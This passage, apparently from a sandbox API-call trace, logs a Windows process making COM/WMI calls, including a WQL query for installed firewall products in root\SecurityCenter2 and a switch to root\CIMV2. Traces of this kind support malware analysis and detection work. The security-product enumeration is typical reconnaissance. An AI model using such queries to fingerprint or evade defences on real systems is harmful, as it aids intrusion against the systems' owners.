[7]=0x46))) returned 0x0 [0169.684] WbemLocator:IUnknown:Release (This=0x1b233198) returned 0x3 [0169.684] CoGetContextToken (in: pToken=0x1afbb410 | out: pToken=0x1afbb410) returned 0x0 [0169.684] CoGetContextToken (in: pToken=0x1afbb890 | out: pToken=0x1afbb890) returned 0x0 [0169.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb950 | out: ppvObject=0x1afbb950*=0x1b233280) returned 0x0 [0169.684] WbemLocator:IRpcOptions:Query (in: This=0x1b233280, pPrx=0x1b2332b8, dwProperty=2, pdwValue=0x1afbb940 | out: pdwValue=0x1afbb940) returned 0x80004002 [0169.684] WbemLocator:IUnknown:Release (This=0x1b233280) returned 0x3 [0169.685] WbemLocator:IUnknown:Release (This=0x1b2332b8) returned 0x2 [0169.685] CoGetContextToken (in: pToken=0x1afbbf50 | out: pToken=0x1afbbf50) returned 0x0 [0169.685] CoGetContextToken (in: pToken=0x1afbbe50 | out: pToken=0x1afbbe50) returned 0x0 [0169.685] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x1afbbfb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbbf80 | out: ppvObject=0x1afbbf80*=0x1b217d50) returned 0x0 [0169.685] WbemLocator:IUnknown:AddRef (This=0x1b217d50) returned 0x4 [0169.685] WbemLocator:IUnknown:Release (This=0x1b217d50) returned 0x3 [0169.685] WbemLocator:IUnknown:Release (This=0x1b217d50) returned 0x2 [0169.685] SysStringLen (param_1=0x0) returned 0x0 [0169.685] CoGetContextToken (in: pToken=0x1afbc090 | out: pToken=0x1afbc090) returned 0x0 [0169.685] WbemLocator:IUnknown:AddRef (This=0x1b2332b8) returned 0x3 [0169.685] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc090 | out: ppvObject=0x1afbc090*=0x1b2332b8) returned 0x0 [0169.685] WbemLocator:IUnknown:Release (This=0x1b2332b8) returned 0x3 [0169.685] WbemLocator:IUnknown:Release (This=0x1b2332b8) returned 0x2 [0169.685] CoGetContextToken (in: pToken=0x1afbc1c0 | out: pToken=0x1afbc1c0) returned 0x0 [0169.685] WbemLocator:IUnknown:AddRef (This=0x1b217d50) returned 0x3 [0169.685] IWbemServices:ExecQuery (in: This=0x1b217d50, strQueryLanguage="WQL", strQuery="SELECT * FROM FirewallProduct", lFlags=16, pCtx=0x0, ppEnum=0x1afbc668 | out: ppEnum=0x1afbc668*=0x1b22d8f0) returned 0x0 [0169.692] IUnknown:QueryInterface (in: This=0x1b22d8f0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc338 | out: ppvObject=0x1afbc338*=0x1b22d8f8) returned 0x0 [0169.693] IClientSecurity:QueryBlanket (in: This=0x1b22d8f8, pProxy=0x1b22d8f0, pAuthnSvc=0x1afbc400, pAuthzSvc=0x1afbc380, pServerPrincName=0x1afbc3a8, pAuthnLevel=0x1afbc384, pImpLevel=0x1afbc390, pAuthInfo=0x1afbc3b8, pCapabilites=0x1afbc394 | out: pAuthnSvc=0x1afbc400*=0xa, pAuthzSvc=0x1afbc380*=0x0, pServerPrincName=0x1afbc3a8, pAuthnLevel=0x1afbc384*=0x6, pImpLevel=0x1afbc390*=0x2, pAuthInfo=0x1afbc3b8, pCapabilites=0x1afbc394*=0x1) returned 0x0 [0169.693] IUnknown:Release (This=0x1b22d8f8) returned 0x1 [0169.693] IUnknown:QueryInterface (in: This=0x1b22d8f0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc2d0 | out: ppvObject=0x1afbc2d0*=0x1b233c78) returned 0x0 [0169.693] IUnknown:QueryInterface (in: This=0x1b22d8f0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc2e0 | out: ppvObject=0x1afbc2e0*=0x1b22d8f8) returned 0x0 [0169.693] IClientSecurity:SetBlanket (This=0x1b22d8f8, pProxy=0x1b22d8f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.696] IUnknown:Release (This=0x1b22d8f8) returned 0x2 [0169.696] WbemLocator:IUnknown:Release (This=0x1b233c78) returned 0x1 [0169.696] CoTaskMemFree (pv=0x1b2042b0) [0169.696] IUnknown:QueryInterface (in: This=0x1b22d8f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbda0 | out: ppvObject=0x1afbbda0*=0x1b233c78) returned 0x0 [0169.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbe30 | out: ppvObject=0x1afbbe30*=0x0) returned 0x80004002 [0169.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbba50 | out: ppvObject=0x1afbba50*=0x0) returned 0x80004002 [0169.698] IUnknown:QueryInterface (in: This=0x1b22d8f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb628 | out: ppvObject=0x1afbb628*=0x0) returned 0x80004002 [0169.700] WbemLocator:IUnknown:AddRef (This=0x1b233c78) returned 0x3 [0169.700] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb4e8 | out: ppvObject=0x1afbb4e8*=0x0) returned 0x80004002 [0169.700] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb470 | out: ppvObject=0x1afbb470*=0x0) returned 0x80004002 [0169.700] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb460 | out: ppvObject=0x1afbb460*=0x1b233b58) returned 0x0 [0169.701] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233b58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb488 | out: pCid=0x1afbb488*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.701] WbemLocator:IUnknown:Release (This=0x1b233b58) returned 0x3 [0169.701] CoGetContextToken (in: pToken=0x1afbb510 | out: pToken=0x1afbb510) returned 0x0 [0169.701] CoGetContextToken (in: pToken=0x1afbb990 | out: pToken=0x1afbb990) returned 0x0 [0169.701] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba50 | out: ppvObject=0x1afbba50*=0x1b233c40) returned 0x0 [0169.701] WbemLocator:IRpcOptions:Query (in: This=0x1b233c40, pPrx=0x1b233c78, dwProperty=2, pdwValue=0x1afbba40 | out: pdwValue=0x1afbba40) returned 0x80004002 [0169.701] WbemLocator:IUnknown:Release (This=0x1b233c40) returned 0x3 [0169.701] WbemLocator:IUnknown:Release (This=0x1b233c78) returned 0x2 [0169.701] CoGetContextToken (in: pToken=0x1afbc050 | out: pToken=0x1afbc050) returned 0x0 [0169.701] CoGetContextToken (in: pToken=0x1afbbf50 | out: pToken=0x1afbbf50) returned 0x0 [0169.701] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233c78, riid=0x1afbc0b0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc080 | out: ppvObject=0x1afbc080*=0x1b22d8f0) returned 0x0 [0169.701] IUnknown:AddRef (This=0x1b22d8f0) returned 0x4 [0169.701] IUnknown:Release (This=0x1b22d8f0) returned 0x3 [0169.701] IUnknown:Release (This=0x1b22d8f0) returned 0x2 [0169.701] WbemLocator:IUnknown:Release (This=0x1b217d50) returned 0x2 [0169.701] SysStringLen (param_1=0x0) returned 0x0 [0169.701] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231220, puCount=0x1afbc6a8 | out: puCount=0x1afbc6a8*=0x2) returned 0x0 [0169.701] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=4, puBuffLength=0x1afbc6a0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc6a0*=0x19, pszText=0x0) returned 0x0 [0169.701] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=4, puBuffLength=0x1afbc6a0*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc6a0*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.701] CoGetContextToken (in: pToken=0x1afbc220 | out: pToken=0x1afbc220) returned 0x0 [0169.701] IUnknown:AddRef (This=0x1b22d8f0) returned 0x3 [0169.702] IEnumWbemClassObject:Clone (in: This=0x1b22d8f0, ppEnum=0x1afbc620 | out: ppEnum=0x1afbc620*=0x1b22da40) returned 0x0 [0169.705] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc3a8 | out: ppvObject=0x1afbc3a8*=0x1b22da48) returned 0x0 [0169.705] IClientSecurity:QueryBlanket (in: This=0x1b22da48, pProxy=0x1b22da40, pAuthnSvc=0x1afbc470, pAuthzSvc=0x1afbc3f0, pServerPrincName=0x1afbc418, pAuthnLevel=0x1afbc3f4, pImpLevel=0x1afbc400, pAuthInfo=0x1afbc428, pCapabilites=0x1afbc404 | out: pAuthnSvc=0x1afbc470*=0xa, pAuthzSvc=0x1afbc3f0*=0x0, pServerPrincName=0x1afbc418, pAuthnLevel=0x1afbc3f4*=0x6, pImpLevel=0x1afbc400*=0x2, pAuthInfo=0x1afbc428, pCapabilites=0x1afbc404*=0x1) returned 0x0 [0169.705] IUnknown:Release (This=0x1b22da48) returned 0x1 [0169.705] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc340 | out: ppvObject=0x1afbc340*=0x1b240ed8) returned 0x0 [0169.705] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc350 | out: ppvObject=0x1afbc350*=0x1b22da48) returned 0x0 [0169.705] IClientSecurity:SetBlanket (This=0x1b22da48, pProxy=0x1b22da40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.708] IUnknown:Release (This=0x1b22da48) returned 0x2 [0169.708] WbemLocator:IUnknown:Release (This=0x1b240ed8) returned 0x1 [0169.708] CoTaskMemFree (pv=0x1b2042b0) [0169.708] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe00 | out: ppvObject=0x1afbbe00*=0x1b240ed8) returned 0x0 [0169.708] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbe90 | out: ppvObject=0x1afbbe90*=0x0) returned 0x80004002 [0169.709] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbab0 | out: ppvObject=0x1afbbab0*=0x0) returned 0x80004002 [0169.711] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb688 | out: ppvObject=0x1afbb688*=0x0) returned 0x80004002 [0169.774] WbemLocator:IUnknown:AddRef (This=0x1b240ed8) returned 0x3 [0169.774] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb548 | out: ppvObject=0x1afbb548*=0x0) returned 0x80004002 [0169.774] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb4d0 | out: ppvObject=0x1afbb4d0*=0x0) returned 0x80004002 [0169.774] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb4c0 | out: ppvObject=0x1afbb4c0*=0x1b240db8) returned 0x0 [0169.775] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b240db8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb4e8 | out: pCid=0x1afbb4e8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.775] WbemLocator:IUnknown:Release (This=0x1b240db8) returned 0x3 [0169.775] CoGetContextToken (in: pToken=0x1afbb570 | out: pToken=0x1afbb570) returned 0x0 [0169.775] CoGetContextToken (in: pToken=0x1afbb9f0 | out: pToken=0x1afbb9f0) returned 0x0 [0169.775] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbab0 | out: ppvObject=0x1afbbab0*=0x1b240ea0) returned 0x0 [0169.775] WbemLocator:IRpcOptions:Query (in: This=0x1b240ea0, pPrx=0x1b240ed8, dwProperty=2, pdwValue=0x1afbbaa0 | out: pdwValue=0x1afbbaa0) returned 0x80004002 [0169.775] WbemLocator:IUnknown:Release (This=0x1b240ea0) returned 0x3 [0169.775] WbemLocator:IUnknown:Release (This=0x1b240ed8) returned 0x2 [0169.775] CoGetContextToken (in: pToken=0x1afbc0b0 | out: pToken=0x1afbc0b0) returned 0x0 [0169.775] CoGetContextToken (in: pToken=0x1afbbfb0 | out: pToken=0x1afbbfb0) returned 0x0 [0169.775] WbemLocator:IUnknown:QueryInterface (in: This=0x1b240ed8, riid=0x1afbc110*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc0e0 | out: ppvObject=0x1afbc0e0*=0x1b22da40) returned 0x0 [0169.775] IUnknown:AddRef (This=0x1b22da40) returned 0x4 [0169.775] IUnknown:Release (This=0x1b22da40) returned 0x3 [0169.775] IUnknown:Release (This=0x1b22da40) returned 0x2 [0169.775] IUnknown:Release (This=0x1b22d8f0) returned 0x2 [0169.775] SysStringLen (param_1=0x0) returned 0x0 [0169.776] IEnumWbemClassObject:Reset (This=0x1b22da40) returned 0x0 [0169.798] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd370 [0169.799] IEnumWbemClassObject:Next (in: This=0x1b22da40, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd370, puReturned=0x2a78b30 | out: apObjects=0x1b1dd370*=0x0, puReturned=0x2a78b30*=0x0) returned 0x1 [0169.801] CoTaskMemFree (pv=0x1b1dd370) [0169.801] CoGetContextToken (in: pToken=0x1afbc470 | out: pToken=0x1afbc470) returned 0x0 [0169.801] WbemLocator:IUnknown:Release (This=0x1b240ed8) returned 0x1 [0169.801] IUnknown:Release (This=0x1b22da40) returned 0x0 [0169.868] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc8c8 | out: ppv=0x1afbc8c8*=0x77dd58) returned 0x0 [0169.869] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc8b8 | out: pAptType=0x1afbc8b8*=1) returned 0x0 [0169.869] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc8c0 | out: ppvObject=0x1afbc8c0*=0x0) returned 0x80004002 [0169.869] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.869] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbcb8 | out: ppv=0x1afbbcb8*=0x1b227e20) returned 0x0 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b227e20, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbda0 | out: ppvObject=0x1afbbda0*=0x0) returned 0x80004002 [0169.870] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b227e20, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbd78 | out: ppvObject=0x1afbbd78*=0x1b232ae0) returned 0x0 [0169.870] WbemDefPath:IUnknown:Release (This=0x1b227e20) returned 0x0 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb20 | out: ppvObject=0x1afbbb20*=0x1b232ae0) returned 0x0 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbbb0 | out: ppvObject=0x1afbbbb0*=0x0) returned 0x80004002 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb3a8 | out: ppvObject=0x1afbb3a8*=0x0) returned 0x80004002 [0169.870] WbemDefPath:IUnknown:AddRef (This=0x1b232ae0) returned 0x3 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb268 | out: ppvObject=0x1afbb268*=0x0) returned 0x80004002 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb1f0 | out: ppvObject=0x1afbb1f0*=0x0) returned 0x80004002 [0169.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb1e0 | out: ppvObject=0x1afbb1e0*=0x1b227920) returned 0x0 [0169.871] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b227920, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb208 | out: pCid=0x1afbb208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.871] WbemDefPath:IUnknown:Release (This=0x1b227920) returned 0x3 [0169.871] CoGetContextToken (in: pToken=0x1afbb290 | out: pToken=0x1afbb290) returned 0x0 [0169.871] CoGetContextToken (in: pToken=0x1afbb710 | out: pToken=0x1afbb710) returned 0x0 [0169.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb7d0 | out: ppvObject=0x1afbb7d0*=0x0) returned 0x80004002 [0169.871] WbemDefPath:IUnknown:Release (This=0x1b232ae0) returned 0x2 [0169.871] WbemDefPath:IUnknown:Release (This=0x1b232ae0) returned 0x1 [0169.871] CoGetContextToken (in: pToken=0x1afbc500 | out: pToken=0x1afbc500) returned 0x0 [0169.871] CoGetContextToken (in: pToken=0x1afbc400 | out: pToken=0x1afbc400) returned 0x0 [0169.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ae0, riid=0x1afbc560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc530 | out: ppvObject=0x1afbc530*=0x1b232ae0) returned 0x0 [0169.871] WbemDefPath:IUnknown:AddRef (This=0x1b232ae0) returned 0x3 [0169.871] WbemDefPath:IUnknown:Release (This=0x1b232ae0) returned 0x2 [0169.871] WbemDefPath:IWbemPath:SetText (This=0x1b232ae0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0169.871] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc8e8 | out: puCount=0x1afbc8e8*=0x2) returned 0x0 [0169.871] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc8e0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc8e0*=0xf, pszText=0x0) returned 0x0 [0169.871] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc8e0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc8e0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.871] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc8f8 | out: puCount=0x1afbc8f8*=0x2) returned 0x0 [0169.871] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc8f0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc8f0*=0xf, pszText=0x0) returned 0x0 [0169.871] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc8f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc8f0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.871] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc878 | out: ppv=0x1afbc878*=0x77dd58) returned 0x0 [0169.871] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc868 | out: pAptType=0x1afbc868*=1) returned 0x0 [0169.872] IUnknown:QueryInterface (in: 